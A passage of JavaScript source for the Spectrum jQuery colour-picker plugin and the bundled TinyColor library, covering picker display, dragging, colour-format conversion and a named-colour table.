event = $.Event('beforeShow.spectrum'); if (visible) { reflow(); return; } boundElement.trigger(event, [ get() ]); if (callbacks.beforeShow(get()) === false || event.isDefaultPrevented()) { return; } hideAll(); visible = true; $(doc).bind("click.spectrum", hide); $(window).bind("resize.spectrum", resize); replacer.addClass("sp-active"); container.removeClass("sp-hidden"); reflow(); updateUI(); colorOnShow = get(); drawInitial(); callbacks.show(colorOnShow); boundElement.trigger('show.spectrum', [ colorOnShow ]); } function hide(e) { // Return on right click if (e && e.type == "click" && e.button == 2) { return; } // Return if hiding is unnecessary if (!visible || flat) { return; } visible = false; $(doc).unbind("click.spectrum", hide); $(window).unbind("resize.spectrum", resize); replacer.removeClass("sp-active"); container.addClass("sp-hidden"); var colorHasChanged = !tinycolor.equals(get(), colorOnShow); if (colorHasChanged) { if (clickoutFiresChange && e !== "cancel") { updateOriginalInput(true); } else { revert(); } } callbacks.hide(get()); boundElement.trigger('hide.spectrum', [ get() ]); } function revert() { set(colorOnShow, true); } function set(color, ignoreFormatChange) { if (tinycolor.equals(color, get())) { // Update UI just in case a validation error needs // to be cleared. updateUI(); return; } var newColor, newHsv; if (!color && allowEmpty) { isEmpty = true; } else { isEmpty = false; newColor = tinycolor(color); newHsv = newColor.toHsv(); currentHue = (newHsv.h % 360) / 360; currentSaturation = newHsv.s; currentValue = newHsv.v; currentAlpha = newHsv.a; } updateUI(); if (newColor && newColor.ok && !ignoreFormatChange) { currentPreferredFormat = preferredFormat || newColor.format; } } function get(opts) { opts = opts || { }; if (allowEmpty && isEmpty) { return null; } return tinycolor.fromRatio({ h: currentHue, s: currentSaturation, v: currentValue, a: Math.round(currentAlpha * 100) / 100 }, { format: opts.format || currentPreferredFormat }); } function isValid() { return !textInput.hasClass("sp-validation-error"); } function move() { updateUI(); callbacks.move(get()); boundElement.trigger('move.spectrum', [ get() ]); } function updateUI() { textInput.removeClass("sp-validation-error"); updateHelperLocations(); // Update dragger background color (gradients take care of saturation and value). var flatColor = tinycolor.fromRatio({ h: currentHue, s: 1, v: 1 }); dragger.css("background-color", flatColor.toHexString()); // Get a format that alpha will be included in (hex and names ignore alpha) var format = currentPreferredFormat; if (currentAlpha < 1 && !(currentAlpha === 0 && format === "name")) { if (format === "hex" || format === "hex3" || format === "hex6" || format === "name") { format = "rgb"; } } var realColor = get({ format: format }), displayColor = ''; //reset background info for preview element previewElement.removeClass("sp-clear-display"); previewElement.css('background-color', 'transparent'); if (!realColor && allowEmpty) { // Update the replaced elements background with icon indicating no color selection previewElement.addClass("sp-clear-display"); } else { var realHex = realColor.toHexString(), realRgb = realColor.toRgbString(); // Update the replaced elements background color (with actual selected color) if (rgbaSupport || realColor.alpha === 1) { previewElement.css("background-color", realRgb); } else { previewElement.css("background-color", "transparent"); previewElement.css("filter", realColor.toFilter()); } if (opts.showAlpha) { var rgb = realColor.toRgb(); rgb.a = 0; var realAlpha = tinycolor(rgb).toRgbString(); var gradient = "linear-gradient(left, " + realAlpha + ", " + realHex + ")"; if (IE) { alphaSliderInner.css("filter", tinycolor(realAlpha).toFilter({ gradientType: 1 }, realHex)); } else { alphaSliderInner.css("background", "-webkit-" + gradient); alphaSliderInner.css("background", "-moz-" + gradient); alphaSliderInner.css("background", "-ms-" + gradient); // Use current syntax gradient on unprefixed property. alphaSliderInner.css("background", "linear-gradient(to right, " + realAlpha + ", " + realHex + ")"); } } displayColor = realColor.toString(format); } // Update the text entry input as it changes happen if (opts.showInput) { textInput.val(displayColor); } if (opts.showPalette) { drawPalette(); } drawInitial(); } function updateHelperLocations() { var s = currentSaturation; var v = currentValue; if(allowEmpty && isEmpty) { //if selected color is empty, hide the helpers alphaSlideHelper.hide(); slideHelper.hide(); dragHelper.hide(); } else { //make sure helpers are visible alphaSlideHelper.show(); slideHelper.show(); dragHelper.show(); // Where to show the little circle in that displays your current selected color var dragX = s * dragWidth; var dragY = dragHeight - (v * dragHeight); dragX = Math.max( -dragHelperHeight, Math.min(dragWidth - dragHelperHeight, dragX - dragHelperHeight) ); dragY = Math.max( -dragHelperHeight, Math.min(dragHeight - dragHelperHeight, dragY - dragHelperHeight) ); dragHelper.css({ "top": dragY + "px", "left": dragX + "px" }); var alphaX = currentAlpha * alphaWidth; alphaSlideHelper.css({ "left": (alphaX - (alphaSlideHelperWidth / 2)) + "px" }); // Where to show the bar that displays your current selected hue var slideY = (currentHue) * slideHeight; slideHelper.css({ "top": (slideY - slideHelperHeight) + "px" }); } } function updateOriginalInput(fireCallback) { var color = get(), displayColor = '', hasChanged = !tinycolor.equals(color, colorOnShow); if (color) { displayColor = color.toString(currentPreferredFormat); // Update the selection palette with the current color addColorToSelectionPalette(color); } if (isInput) { boundElement.val(displayColor); } colorOnShow = color; if (fireCallback && hasChanged) { callbacks.change(color); boundElement.trigger('change', [ color ]); } } function reflow() { dragWidth = dragger.width(); dragHeight = dragger.height(); dragHelperHeight = dragHelper.height(); slideWidth = slider.width(); slideHeight = slider.height(); slideHelperHeight = slideHelper.height(); alphaWidth = alphaSlider.width(); alphaSlideHelperWidth = alphaSlideHelper.width(); if (!flat) { container.css("position", "absolute"); container.offset(getOffset(container, offsetElement)); } updateHelperLocations(); if (opts.showPalette) { drawPalette(); } boundElement.trigger('reflow.spectrum'); } function destroy() { boundElement.show(); offsetElement.unbind("click.spectrum touchstart.spectrum"); container.remove(); replacer.remove(); spectrums[spect.id] = null; } function option(optionName, optionValue) { if (optionName === undefined) { return $.extend({}, opts); } if (optionValue === undefined) { return opts[optionName]; } opts[optionName] = optionValue; applyOptions(); } function enable() { disabled = false; boundElement.attr("disabled", false); offsetElement.removeClass("sp-disabled"); } function disable() { hide(); disabled = true; boundElement.attr("disabled", true); offsetElement.addClass("sp-disabled"); } initialize(); var spect = { show: show, hide: hide, toggle: toggle, reflow: reflow, option: option, enable: enable, disable: disable, set: function (c) { set(c); updateOriginalInput(); }, get: get, destroy: destroy, container: container }; spect.id = spectrums.push(spect) - 1; return spect; } /** * checkOffset - get the offset below/above and left/right element depending on screen position * Thanks https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.datepicker.js */ function getOffset(picker, input) { var extraY = 0; var dpWidth = picker.outerWidth(); var dpHeight = picker.outerHeight(); var inputHeight = input.outerHeight(); var doc = picker[0].ownerDocument; var docElem = doc.documentElement; var viewWidth = docElem.clientWidth + $(doc).scrollLeft(); var viewHeight = docElem.clientHeight + $(doc).scrollTop(); var offset = input.offset(); offset.top += inputHeight; offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs(offset.left + dpWidth - viewWidth) : 0); offset.top -= Math.min(offset.top, ((offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs(dpHeight + inputHeight - extraY) : extraY)); return offset; } /** * noop - do nothing */ function noop() { } /** * stopPropagation - makes the code only doing this a little easier to read in line */ function stopPropagation(e) { e.stopPropagation(); } /** * Create a function bound to a given object * Thanks to underscore.js */ function bind(func, obj) { var slice = Array.prototype.slice; var args = slice.call(arguments, 2); return function () { return func.apply(obj, args.concat(slice.call(arguments))); }; } /** * Lightweight drag helper. Handles containment within the element, so that * when dragging, the x is within [0,element.width] and y is within [0,element.height] */ function draggable(element, onmove, onstart, onstop) { onmove = onmove || function () { }; onstart = onstart || function () { }; onstop = onstop || function () { }; var doc = element.ownerDocument || document; var dragging = false; var offset = {}; var maxHeight = 0; var maxWidth = 0; var hasTouch = ('ontouchstart' in window); var duringDragEvents = {}; duringDragEvents["selectstart"] = prevent; duringDragEvents["dragstart"] = prevent; duringDragEvents["touchmove mousemove"] = move; duringDragEvents["touchend mouseup"] = stop; function prevent(e) { if (e.stopPropagation) { e.stopPropagation(); } if (e.preventDefault) { e.preventDefault(); } e.returnValue = false; } function move(e) { if (dragging) { // Mouseup happened outside of window if (IE && document.documentMode < 9 && !e.button) { return stop(); } var touches = e.originalEvent.touches; var pageX = touches ? touches[0].pageX : e.pageX; var pageY = touches ? touches[0].pageY : e.pageY; var dragX = Math.max(0, Math.min(pageX - offset.left, maxWidth)); var dragY = Math.max(0, Math.min(pageY - offset.top, maxHeight)); if (hasTouch) { // Stop scrolling in iOS prevent(e); } onmove.apply(element, [dragX, dragY, e]); } } function start(e) { var rightclick = (e.which) ? (e.which == 3) : (e.button == 2); var touches = e.originalEvent.touches; if (!rightclick && !dragging) { if (onstart.apply(element, arguments) !== false) { dragging = true; maxHeight = $(element).height(); maxWidth = $(element).width(); offset = $(element).offset(); $(doc).bind(duringDragEvents); $(doc.body).addClass("sp-dragging"); if (!hasTouch) { move(e); } prevent(e); } } } function stop() { if (dragging) { $(doc).unbind(duringDragEvents); $(doc.body).removeClass("sp-dragging"); onstop.apply(element, arguments); } dragging = false; } $(element).bind("touchstart mousedown", start); } function throttle(func, wait, debounce) { var timeout; return function () { var context = this, args = arguments; var throttler = function () { timeout = null; func.apply(context, args); }; if (debounce) clearTimeout(timeout); if (debounce || !timeout) timeout = setTimeout(throttler, wait); }; } function log(){/* jshint -W021 */if(window.console){if(Function.prototype.bind)log=Function.prototype.bind.call(console.log,console);else log=function(){Function.prototype.apply.call(console.log,console,arguments);};log.apply(this,arguments);}} /** * Define a jQuery plugin */ var dataID = "spectrum.id"; $.fn.spectrum = function (opts, extra) { if (typeof opts == "string") { var returnValue = this; var args = Array.prototype.slice.call( arguments, 1 ); this.each(function () { var spect = spectrums[$(this).data(dataID)]; if (spect) { var method = spect[opts]; if (!method) { throw new Error( "Spectrum: no such method: '" + opts + "'" ); } if (opts == "get") { returnValue = spect.get(); } else if (opts == "container") { returnValue = spect.container; } else if (opts == "option") { returnValue = spect.option.apply(spect, args); } else if (opts == "destroy") { spect.destroy(); $(this).removeData(dataID); } else { method.apply(spect, args); } } }); return returnValue; } // Initializing a new instance of spectrum return this.spectrum("destroy").each(function () { var options = $.extend({}, opts, $(this).data()); var spect = spectrum(this, options); $(this).data(dataID, spect.id); }); }; $.fn.spectrum.load = true; $.fn.spectrum.loadOpts = {}; $.fn.spectrum.draggable = draggable; $.fn.spectrum.defaults = defaultOpts; $.spectrum = { }; $.spectrum.localization = { }; $.spectrum.palettes = { }; $.fn.spectrum.processNativeColorInputs = function () { if (!inputTypeColorSupport) { $("input[type=color]").spectrum({ preferredFormat: "hex6" }); } }; // TinyColor v0.9.17 // https://github.com/bgrins/TinyColor // 2013-08-10, Brian Grinstead, MIT License (function() { var trimLeft = /^[\s,#]+/, trimRight = /\s+$/, tinyCounter = 0, math = Math, mathRound = math.round, mathMin = math.min, mathMax = math.max, mathRandom = math.random; function tinycolor (color, opts) { color = (color) ? color : ''; opts = opts || { }; // If input is already a tinycolor, return itself if (typeof color == "object" && color.hasOwnProperty("_tc_id")) { return color; } var rgb = inputToRGB(color); var r = rgb.r, g = rgb.g, b = rgb.b, a = rgb.a, roundA = mathRound(100*a) / 100, format = opts.format || rgb.format; // Don't let the range of [0,255] come back in [0,1]. // Potentially lose a little bit of precision here, but will fix issues where // .5 gets interpreted as half of the total, instead of half of 1 // If it was supposed to be 128, this was already taken care of by `inputToRgb` if (r < 1) { r = mathRound(r); } if (g < 1) { g = mathRound(g); } if (b < 1) { b = mathRound(b); } return { ok: rgb.ok, format: format, _tc_id: tinyCounter++, alpha: a, getAlpha: function() { return a; }, setAlpha: function(value) { a = boundAlpha(value); roundA = mathRound(100*a) / 100; }, toHsv: function() { var hsv = rgbToHsv(r, g, b); return { h: hsv.h * 360, s: hsv.s, v: hsv.v, a: a }; }, toHsvString: function() { var hsv = rgbToHsv(r, g, b); var h = mathRound(hsv.h * 360), s = mathRound(hsv.s * 100), v = mathRound(hsv.v * 100); return (a == 1) ? "hsv(" + h + ", " + s + "%, " + v + "%)" : "hsva(" + h + ", " + s + "%, " + v + "%, "+ roundA + ")"; }, toHsl: function() { var hsl = rgbToHsl(r, g, b); return { h: hsl.h * 360, s: hsl.s, l: hsl.l, a: a }; }, toHslString: function() { var hsl = rgbToHsl(r, g, b); var h = mathRound(hsl.h * 360), s = mathRound(hsl.s * 100), l = mathRound(hsl.l * 100); return (a == 1) ? "hsl(" + h + ", " + s + "%, " + l + "%)" : "hsla(" + h + ", " + s + "%, " + l + "%, "+ roundA + ")"; }, toHex: function(allow3Char) { return rgbToHex(r, g, b, allow3Char); }, toHexString: function(allow3Char) { return '#' + this.toHex(allow3Char); }, toHex8: function() { return rgbaToHex(r, g, b, a); }, toHex8String: function() { return '#' + this.toHex8(); }, toRgb: function() { return { r: mathRound(r), g: mathRound(g), b: mathRound(b), a: a }; }, toRgbString: function() { return (a == 1) ? "rgb(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ")" : "rgba(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ", " + roundA + ")"; }, toPercentageRgb: function() { return { r: mathRound(bound01(r, 255) * 100) + "%", g: mathRound(bound01(g, 255) * 100) + "%", b: mathRound(bound01(b, 255) * 100) + "%", a: a }; }, toPercentageRgbString: function() { return (a == 1) ? "rgb(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%)" : "rgba(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%, " + roundA + ")"; }, toName: function() { if (a === 0) { return "transparent"; } return hexNames[rgbToHex(r, g, b, true)] || false; }, toFilter: function(secondColor) { var hex8String = '#' + rgbaToHex(r, g, b, a); var secondHex8String = hex8String; var gradientType = opts && opts.gradientType ? "GradientType = 1, " : ""; if (secondColor) { var s = tinycolor(secondColor); secondHex8String = s.toHex8String(); } return "progid:DXImageTransform.Microsoft.gradient("+gradientType+"startColorstr="+hex8String+",endColorstr="+secondHex8String+")"; }, toString: function(format) { var formatSet = !!format; format = format || this.format; var formattedString = false; var hasAlphaAndFormatNotSet = !formatSet && a < 1 && a > 0; var formatWithAlpha = hasAlphaAndFormatNotSet && (format === "hex" || format === "hex6" || format === "hex3" || format === "name"); if (format === "rgb") { formattedString = this.toRgbString(); } if (format === "prgb") { formattedString = this.toPercentageRgbString(); } if (format === "hex" || format === "hex6") { formattedString = this.toHexString(); } if (format === "hex3") { formattedString = this.toHexString(true); } if (format === "hex8") { formattedString = this.toHex8String(); } if (format === "name") { formattedString = this.toName(); } if (format === "hsl") { formattedString = this.toHslString(); } if (format === "hsv") { formattedString = this.toHsvString(); } if (formatWithAlpha) { return this.toRgbString(); } return formattedString || this.toHexString(); } }; } // If input is an object, force 1 into "1.0" to handle ratios properly // String input requires "1.0" as input, so 1 will be treated as 1 tinycolor.fromRatio = function(color, opts) { if (typeof color == "object") { var newColor = {}; for (var i in color) { if (color.hasOwnProperty(i)) { if (i === "a") { newColor[i] = color[i]; } else { newColor[i] = convertToPercentage(color[i]); } } } color = newColor; } return tinycolor(color, opts); }; // Given a string or object, convert that input to RGB // Possible string inputs: // // "red" // "#f00" or "f00" // "#ff0000" or "ff0000" // "#ff000000" or "ff000000" // "rgb 255 0 0" or "rgb (255, 0, 0)" // "rgb 1.0 0 0" or "rgb (1, 0, 0)" // "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1" // "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1" // "hsl(0, 100%, 50%)" or "hsl 0 100% 50%" // "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1" // "hsv(0, 100%, 100%)" or "hsv 0 100% 100%" // function inputToRGB(color) { var rgb = { r: 0, g: 0, b: 0 }; var a = 1; var ok = false; var format = false; if (typeof color == "string") { color = stringInputToObject(color); } if (typeof color == "object") { if (color.hasOwnProperty("r") && color.hasOwnProperty("g") && color.hasOwnProperty("b")) { rgb = rgbToRgb(color.r, color.g, color.b); ok = true; format = String(color.r).substr(-1) === "%" ? "prgb" : "rgb"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("v")) { color.s = convertToPercentage(color.s); color.v = convertToPercentage(color.v); rgb = hsvToRgb(color.h, color.s, color.v); ok = true; format = "hsv"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("l")) { color.s = convertToPercentage(color.s); color.l = convertToPercentage(color.l); rgb = hslToRgb(color.h, color.s, color.l); ok = true; format = "hsl"; } if (color.hasOwnProperty("a")) { a = color.a; } } a = boundAlpha(a); return { ok: ok, format: color.format || format, r: mathMin(255, mathMax(rgb.r, 0)), g: mathMin(255, mathMax(rgb.g, 0)), b: mathMin(255, mathMax(rgb.b, 0)), a: a }; } // Conversion Functions // -------------------- // `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from: // // `rgbToRgb` // Handle bounds / percentage checking to conform to CSS color spec // // *Assumes:* r, g, b in [0, 255] or [0, 1] // *Returns:* { r, g, b } in [0, 255] function rgbToRgb(r, g, b){ return { r: bound01(r, 255) * 255, g: bound01(g, 255) * 255, b: bound01(b, 255) * 255 }; } // `rgbToHsl` // Converts an RGB color value to HSL. // *Assumes:* r, g, and b are contained in [0, 255] or [0, 1] // *Returns:* { h, s, l } in [0,1] function rgbToHsl(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, l = (max + min) / 2; if(max == min) { h = s = 0; // achromatic } else { var d = max - min; s = l > 0.5 ? d / (2 - max - min) : d / (max + min); switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, l: l }; } // `hslToRgb` // Converts an HSL color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hslToRgb(h, s, l) { var r, g, b; h = bound01(h, 360); s = bound01(s, 100); l = bound01(l, 100); function hue2rgb(p, q, t) { if(t < 0) t += 1; if(t > 1) t -= 1; if(t < 1/6) return p + (q - p) * 6 * t; if(t < 1/2) return q; if(t < 2/3) return p + (q - p) * (2/3 - t) * 6; return p; } if(s === 0) { r = g = b = l; // achromatic } else { var q = l < 0.5 ? l * (1 + s) : l + s - l * s; var p = 2 * l - q; r = hue2rgb(p, q, h + 1/3); g = hue2rgb(p, q, h); b = hue2rgb(p, q, h - 1/3); } return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHsv` // Converts an RGB color value to HSV // *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1] // *Returns:* { h, s, v } in [0,1] function rgbToHsv(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, v = max; var d = max - min; s = max === 0 ? 0 : d / max; if(max == min) { h = 0; // achromatic } else { switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, v: v }; } // `hsvToRgb` // Converts an HSV color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hsvToRgb(h, s, v) { h = bound01(h, 360) * 6; s = bound01(s, 100); v = bound01(v, 100); var i = math.floor(h), f = h - i, p = v * (1 - s), q = v * (1 - f * s), t = v * (1 - (1 - f) * s), mod = i % 6, r = [v, q, p, p, t, v][mod], g = [t, v, v, q, p, p][mod], b = [p, p, t, v, v, q][mod]; return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHex` // Converts an RGB color to hex // Assumes r, g, and b are contained in the set [0, 255] // Returns a 3 or 6 character hex function rgbToHex(r, g, b, allow3Char) { var hex = [ pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; // Return a 3 character hex if possible if (allow3Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1)) { return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0); } return hex.join(""); } // `rgbaToHex` // Converts an RGBA color plus alpha transparency to hex // Assumes r, g, b and a are contained in the set [0, 255] // Returns an 8 character hex function rgbaToHex(r, g, b, a) { var hex = [ pad2(convertDecimalToHex(a)), pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; return hex.join(""); } // `equals` // Can be called with any tinycolor input tinycolor.equals = function (color1, color2) { if (!color1 || !color2) { return false; } return tinycolor(color1).toRgbString() == tinycolor(color2).toRgbString(); }; tinycolor.random = function() { return tinycolor.fromRatio({ r: mathRandom(), g: mathRandom(), b: mathRandom() }); }; // Modification Functions // ---------------------- // Thanks to less.js for some of the basics here // tinycolor.desaturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s -= amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.saturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s += amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.greyscale = function(color) { return tinycolor.desaturate(color, 100); }; tinycolor.lighten = function(color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l += amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.darken = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l -= amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.complement = function(color) { var hsl = tinycolor(color).toHsl(); hsl.h = (hsl.h + 180) % 360; return tinycolor(hsl); }; // Combination Functions // --------------------- // Thanks to jQuery xColor for some of the ideas behind these // tinycolor.triad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 120) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 240) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.tetrad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 90) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 180) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 270) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.splitcomplement = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 72) % 360, s: hsl.s, l: hsl.l}), tinycolor({ h: (h + 216) % 360, s: hsl.s, l: hsl.l}) ]; }; tinycolor.analogous = function(color, results, slices) { results = results || 6; slices = slices || 30; var hsl = tinycolor(color).toHsl(); var part = 360 / slices; var ret = [tinycolor(color)]; for (hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; --results; ) { hsl.h = (hsl.h + part) % 360; ret.push(tinycolor(hsl)); } return ret; }; tinycolor.monochromatic = function(color, results) { results = results || 6; var hsv = tinycolor(color).toHsv(); var h = hsv.h, s = hsv.s, v = hsv.v; var ret = []; var modification = 1 / results; while (results--) { ret.push(tinycolor({ h: h, s: s, v: v})); v = (v + modification) % 1; } return ret; }; // Readability Functions // --------------------- // // `readability` // Analyze the 2 colors and returns an object with the following properties: // `brightness`: difference in brightness between the two colors // `color`: difference in color/hue between the two colors tinycolor.readability = function(color1, color2) { var a = tinycolor(color1).toRgb(); var b = tinycolor(color2).toRgb(); var brightnessA = (a.r * 299 + a.g * 587 + a.b * 114) / 1000; var brightnessB = (b.r * 299 + b.g * 587 + b.b * 114) / 1000; var colorDiff = ( Math.max(a.r, b.r) - Math.min(a.r, b.r) + Math.max(a.g, b.g) - Math.min(a.g, b.g) + Math.max(a.b, b.b) - Math.min(a.b, b.b) ); return { brightness: Math.abs(brightnessA - brightnessB), color: colorDiff }; }; // `readable` // http://www.w3.org/TR/AERT#color-contrast // Ensure that foreground and background color combinations provide sufficient contrast. // *Example* // tinycolor.readable("#000", "#111") => false tinycolor.readable = function(color1, color2) { var readability = tinycolor.readability(color1, color2); return readability.brightness > 125 && readability.color > 500; }; // `mostReadable` // Given a base color and a list of possible foreground or background // colors for that base, returns the most readable color. // *Example* // tinycolor.mostReadable("#123", ["#fff", "#000"]) => "#000" tinycolor.mostReadable = function(baseColor, colorList) { var bestColor = null; var bestScore = 0; var bestIsReadable = false; for (var i=0; i < colorList.length; i++) { // We normalize both around the "acceptable" breaking point, // but rank brightness constrast higher than hue. var readability = tinycolor.readability(baseColor, colorList[i]); var readable = readability.brightness > 125 && readability.color > 500; var score = 3 * (readability.brightness / 125) + (readability.color / 500); if ((readable && ! bestIsReadable) || (readable && bestIsReadable && score > bestScore) || ((! readable) && (! bestIsReadable) && score > bestScore)) { bestIsReadable = readable; bestScore = score; bestColor = tinycolor(colorList[i]); } } return bestColor; }; // Big List of Colors // ------------------ // var names = tinycolor.names = { aliceblue: "f0f8ff", antiquewhite: "faebd7", aqua: "0ff", aquamarine: "7fffd4", azure: "f0ffff", beige: "f5f5dc", bisque: "ffe4c4", black: "000", blanchedalmond: "ffebcd", blue: "00f", blueviolet: "8a2be2", brown: "a52a2a", burlywood: "deb887", burntsienna: "ea7e5d", cadetblue: "5f9ea0", chartreuse: "7fff00", chocolate: "d2691e", coral: "ff7f50", cornflowerblue: "6495ed", cornsilk: "fff8dc", crimson: "dc143c", cyan: "0ff", darkblue: "00008b", darkcyan: "008b8b", darkgoldenrod: "b8860b", darkgray: "a9a9a9", darkgreen: "006400", darkgrey: "a9a9a9", darkkhaki: "bdb76b", darkmagenta: "8b008b", darkolivegreen: "556b2f", darkorange: "ff8c00", darkorchid: "9932cc", darkred: "8b0000", darksalmon: "e9967a", darkseagreen: "8fbc8f", darkslateblue: "483d8b", darkslategray: "2f4f4f", darkslategrey: "2f4f4f", darkturquoise: "00ced1", darkviolet: "9400d3", deeppink: "ff1493", deepskyblue: "00bfff", dimgray: "696969", dimgrey: "696969", dodgerblue: "1e90ff", firebrick: "b22222", floralwhite: "fffaf0", forestgreen: "228b22", fuchsia: "f0f", gainsboro: "dcdcdc", ghostwhite: "f8f8ff", gold: "ffd700", goldenrod: "daa520", gray: "808080", green: "008000", greenyellow: "adff2f", grey: "808080", honeydew: "f0fff0", hotpink: "ff69b4", indianred: "cd5c5c", indigo: "4b0082", ivory: "fffff0", khaki: "f0e68c", lavender: "e6e6fa", lavenderblush: "fff0f5", lawngreen: "7cfc00", lemonchiffon: "fffacd", lightblue: "add8e6", lightcoral: "f08080", lightcyan: "e0ffff", lightgoldenrodyellow: "fafad2", lightgray: "d3d3d3", lightgreen: "90ee90", lightgrey: "d3d3d3", lightpink: "ffb6c1", lightsalmon: "ffa07a", lightseagreen: "20b2aa", lightskyblue: "87cefa", lightslategray: "789", lightslategrey: "789", lightsteelblue: "b0c4de", lightyellow: "ffffe0", lime: "0f0", limegreen: "32cd32", linen: "faf0e6", magenta: "f0f", maroon: "800000", mediumaquamarine: "66cdaa", mediumblue: "0000cd", mediumorchid: "ba55d3", mediumpurple: "9370db", mediumseagreen: "3cb371", mediumslateblue: "7b68ee", mediumspringgreen: "00fa9a", mediumturquoise: "48d1cc", mediumvioletred: "c71585", midnightblue: "191970", mintcream: "f5fffa", mistyrose: "ffe4e1", moccasin: "ffe4b5", navajowhite: "ffdead", navy: "000080", oldlace: "fdf5e6", olive: "808000", olivedrab: "6b8e23", orange: "ffa500", orangered: "ff4500", orchid: "da70d6", palegoldenrod: "eee8aa", palegreen: "98fb98", paleturquoise: "afeeee", palevioletred: "db7093", papayawhip: "ffefd5", peachpuff: "ffdab9", peru: "cd853f", pink: "ffc0cb", plum: "dda0dd", powderblue: "b0e0e6", purple: "800080", red: "f00", rosybrown: "bc8f8f", royalblue: "4169e1", saddlebrown: "8b4513", salmon: "fa8072", sandybrown: "f4a460", seagreen: "2e8b57", seashell: "fff5ee", sienna: "a0522d", silver: "c0c0c0", skyblue: "87ceeb", slateblue: "6a5acd", slategray: "708090", slategrey: "708090", snow: "fffafa", springgreen: "00ff7f", steelblue: "4682b4", tan: "d2b48c", teal: "008080", thistle: "d8bfd8", tomato: "ff6347", turquoise: "40e0d0", violet: "ee82ee", wheat: "f5deb3", white: "fff", whitesmoke: "f5f5f5", yellow: "ff0", yellowgreen: "9acd32" }; // Make it easy to access colors via `hexNames[hex]` var hexNames = tinycolor.hexNames = flip(names); // Utilities // --------- // `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }` function flip(o) { var flipped = { }; for (var i in o) { if (o.hasOwnProperty(i)) { flipped[o[i]] = i; } } return flipped; } // Return a valid alpha value [0,1] with all invalid values being set to 1 function boundAlpha(a) { a = parseFloat(a); if (isNaN(a) || a < 0 || a > 1) { a = 1; } return a; } // Take input from [0, n] and return it as [0, 1] function bound01(n, max) { if (isOnePointZero(n)) { n = "100%"; } var processPercent = isPercentage(n); n = mathMin(max, mathMax(0, parseFloat(n))); // Automatically convert percentage into number if (processPercent) { n = parseInt(n * max, 10) / 100; } // Handle floating point rounding errors if ((math.abs(n - max) < 0.000001)) { return 1; } // Convert into [0, 1] range if it isn't already return (n % max) / parseFloat(max); } // Force a number between 0 and 1 function clamp01(val) { return mathMin(1, mathMax(0, val)); } // Parse a base-16 hex value into a base-10 integer function parseIntFromHex(val) { return parseInt(val, 16); } // Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1 // function isOnePointZero(n) { return typeof n == "string" && n.indexOf('.') != -1 && parseFloat(n) === 1; } // Check to see if string passed in is a percentage function isPercentage(n) { return typeof n === "string" && n.indexOf('%') != -1; } // 